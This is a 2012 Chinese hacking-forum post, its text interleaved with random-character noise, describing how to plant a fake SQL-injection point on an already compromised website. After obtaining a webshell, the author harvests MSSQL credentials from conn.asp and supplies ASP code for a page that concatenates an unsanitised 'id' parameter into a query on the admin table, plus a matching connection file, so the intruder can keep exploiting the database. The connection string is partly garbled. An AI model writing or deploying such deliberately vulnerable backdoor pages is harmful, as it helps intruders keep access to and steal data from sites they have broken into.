找回密码
 立即注册
查看: 2297|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
, g- w0 _7 c; P
1 Z8 `& Y- m6 @( S, G今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息, O& F" q2 Q6 Q
2 @) _- x: ^. Y3 l! @5 N
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
6 n/ w, k  H+ X) T' g) s. F/ H  n  @4 F3 a' g! F! [7 s
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
/ H5 P) j, T( o- U- T2 ~8 S* v, H4 P6 @
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
( t, R  P4 K$ p% Z& d- O
4 L% h8 H- i$ M因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:8 k2 e& p: c" S+ P/ g( c, W$ S% ~
% x4 p( n2 n2 q) }8 P! ~
程序代码1 ~$ ^" L9 q$ X9 u: J1 U4 `
<!--#include file="xx.asp"-->4 R. X2 X' ~, u! d! V3 q- s
<%
9 d; ?' o+ G0 f" tset rs=server.createobject("ADODB.recordset")# l6 `4 F0 N+ q7 ~( h9 ^& N% G
id = request("id")
4 x* F0 x6 b  Z6 C* I: \strSQL = "select * from admin where id=" & id
3 I' _; @# z. b5 Lrs.open strSQL,conn,1,3. S3 U  h0 n+ T' d% J. W
rs.close
4 R- t6 c5 \' X" R- I) e1 V%>
/ S. S! N$ o; f" O3 S1 c4 N4 c) h; c3 T0 M0 ]  v& g
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在, ~4 `3 B2 V+ R" {

0 V/ P/ j7 n! j% t1 P! r* n- @9 s你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!- t3 s7 u8 ~1 ~6 C
( x" D0 Z: G  d9 {$ t
然后就要构造一个连接数据库的文件了,代码如下:8 J7 Q$ B8 ]5 M' y1 D
程序代码! p: S4 F: g8 C0 W2 A9 [" ^
<%        ' Q: V9 ^8 u* ~! r9 W+ S
strSQLServerName = "000.000.000.000"     '服务器名称或地址4 E! R5 _  T% y7 u2 q/ p8 k1 R
strSQLDBUserName = "sqlname"         '数据库帐号
  s; k% a4 X2 Z( [& Z0 ostrSQLDBPassword = "sqlpass"         '数据库密码: U3 e$ N' U, k6 |' T5 ~
strSQLDBName = "sqldataname"           '数据库名称# b3 M& u7 h4 q. s4 [7 A0 a
Set conn = Server.CreateObject("ADODB.Connection")% |6 W" n" v  D5 Z
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"8 h8 o" r# Z( ?
conn.open strCon
) ^+ M8 ]* |. j  ~7 @%>6 d5 a4 N, p! l1 W

1 p! `$ e: w) n% C" H" Y- S0 d1 h这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,0 y4 O1 H- Z, A) g, ]# ^0 H

. |3 y8 F6 o( l7 j% F* P9 V就这样,正常情况下,就OK了,伪造成功……' n$ b3 f& ]+ S3 o1 s8 i
( c" I$ v5 N: c& R$ s8 U# \. h; }
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表